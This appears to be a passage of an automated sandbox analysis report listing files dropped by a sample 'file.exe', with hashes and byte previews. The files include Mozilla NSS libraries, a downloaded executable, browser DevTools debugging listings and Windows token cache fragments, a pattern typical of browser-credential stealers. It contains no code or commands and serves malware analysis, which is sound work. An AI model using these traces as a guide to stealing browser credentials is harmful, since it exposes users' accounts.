SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.012322714547305
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUwVIp4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lUwVIf
MD5:	4821B38632A84C8E0D02CC751D9D789A
SHA1:	FD7F845E89D1F764A9BA0532A92F475AA7A0614D
SHA-256:	B2BECA91327C25158054502E0BB3458F16C8F457DA9B53C72961C4CE96E6D6EF
SHA-512:	1ED1DAB8D60214C7DE4371DDE75C496A76F78D9476C028EC3C0FA5E9F97AE19AB42614D9D359CA78388A04A911A88FEFDB33487C486D1FAC3504B6A3AE0D336A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731451937149813}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8397131404570524
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxqNxl9Il8u2vfw4h2wHzlaVPKmdQoxBd1rc:mRYcXw48wpTCQP
MD5:	5D3CBE4906A243491A104D09BD776AB9
SHA1:	B25B2A0D02833A022E2BDA9DD3C2D2A54DF77A00
SHA-256:	9A35434EC5B2320C64A797B633FC39A1E05C25AA765001CB9FFF30F42E7FC6BD
SHA-512:	4A82DAC905849A4FB31F6522B0EF8A5B2016ED412A40A5AEA640CF9A5A7BFE4F5D4E0CD6635F1AC5B086BE93870378B1148A96C7F4AC747A38587858817AF8D4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.I.W.h.N.n.M.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.4.K.k.5.F.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.004756181750901
Encrypted:	false
SSDEEP:	96:RYccK096EfffFyqLd5i3bf6K/gKgKBb9DpruZsbBy:Ro9zpd58bfQxKBlpvly
MD5:	32FFDAAB30D8313E33FBAFD84D74289B
SHA1:	DF432E8F01A0B8F69B9C1BD255B6E8501F699614
SHA-256:	8937A27213459FC5F63DEED8352FEFE3705DFF583A834D1F17A4F7D002DBB547
SHA-512:	BC0C5101B31BB64F2B55DEB83F664E6C5E85F88F04826123834874409C72447331A1626E0D8521A6302719EC6676300316AD2470332164203659A5F583E09F14
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.7.0.u.H.G.s.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.4.K.k.5.F.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9033924333685417
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xSxl9Il8u2LiJk7TBaKfYv6VRVq+ErXWiVMS+EuqfMIza3MCEd/U:aAYcLiJk7TBaKfYyVRqXNKAfMIziM+
MD5:	3C218A36BDDE4CC3B9C9DEED19250E1B
SHA1:	5A748421A3137D0C9B9BB84D2EEB18D503F54FB7
SHA-256:	1347670F6976CCFE6F1C7A0D882966E99A253AB9B331A6B7021AFF342D04EA4C
SHA-512:	ED4952BE468725E9AF88D4444196A57EA853DC9C4F74E34709402163CB3BEE68D8830D94145EC533E19E77245FE4EA86A4BED6F9D2687E39C244C687171D8B03
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".4.B.L.x.S.z.x.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.4.K.k.5.F.C.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395666859564086
Encrypted:	false
SSDEEP:	96:6NnQU2QHQUxNnQMbQ0NnQA9QFNnQZdgEQVNnQMQkNnQwDQtNnQkwQ3NnQz3QW:6NzN1NwNoENPN9+NbjNa
MD5:	644F40A9EE4C3045AFD24F4E201EDB4B
SHA1:	EEC18C30A67F186843ABDA1B70649E8219C29183
SHA-256:	DD9A8EBA0B81A0DD306B6C49AD740DEAA28A771C638830686B46FFB504C92399
SHA-512:	E737605F154B3F5E4624F9CB1B0ADBD5847E3B25E5F268A2F7CDBC4A91DDB2B899B5A883A99192FCFC3FAC176931F27601A644BDE19B395C3D7FD5D2B9544EAD
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/0217DA0FDD9AC6D298E6038B18FA28C1",.. "id": "0217DA0FDD9AC6D298E6038B18FA28C1",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/0217DA0FDD9AC6D298E6038B18FA28C1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/179C107E71A7818420A7831AA2429B62",.. "id": "179C107E71A7818420A7831AA2429B62",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/179C107E71A7818420A7831AA2429B62"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37897141422136
Encrypted:	false
SSDEEP:	48:SfNaoQ29t98TEQ29YfNaoQ8FQ8GfNaoQbCQQbQfNaoQPWpAWE60UrU0U8QV:6NnQQn8TEQQkNnQ8FQ8uNnQtQoNnQs7u
MD5:	68127742BD749A8D3A629CF73A863E95
SHA1:	ACD8B0A330F6D634EDACC3A8C715412693C0DADA
SHA-256:	CB007ECD7D4D1CD0BB6C4BF2A78F25D964228B26542415EB342066360874C8CA
SHA-512:	A8F8C379A762637322943CA90C6DA5D8DE185B4376F0FDD055DA30110C26595AC8A79EE184D513CA067220F8903FF433AD323B04E72E9C9F48F2D9AFA2CE0062
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/708AA69395003E08D741792841D9BD41",.. "id": "708AA69395003E08D741792841D9BD41",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/708AA69395003E08D741792841D9BD41"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6A2A034DBFDCC0B4CDE9F9F801BB5737",.. "id": "6A2A034DBFDCC0B4CDE9F9F801BB5737",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6A2A034DBFDCC0B4CDE9F9F801BB5737"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3179008
Entropy (8bit):	6.628387776679808
Encrypted:	false
SSDEEP:	49152:As1mX3fDfQf8NSCGLjFTb5nv5K5cztD0kGrtbP:knfDfQf8NSCGLh5nRCcztQtRbP
MD5:	0EB8E45168C931C4451682C65DDE3A7E
SHA1:	7AC926652710AF765C590C689C589D6D2EFB995B
SHA-256:	81DE128175C66395A983BAF7FCFFF8ED062B4E1CE2BD29F8E1BA456BBA36A35B
SHA-512:	BF60BFA207D94244F6AF1E5B0376FD337973F60667FB63C4EFA37EF5443C665C63C86096D5B07FA014B62FD1EC56C87399286AB676EF98ACB15DDC2C9FB6118F
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......0...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...jrkfjxta..........................@...lfizkupv......0......\0.............@....taggant.0....0.."...`0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d3eb779-666a-4e56-9fdd-400bcbe39d4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
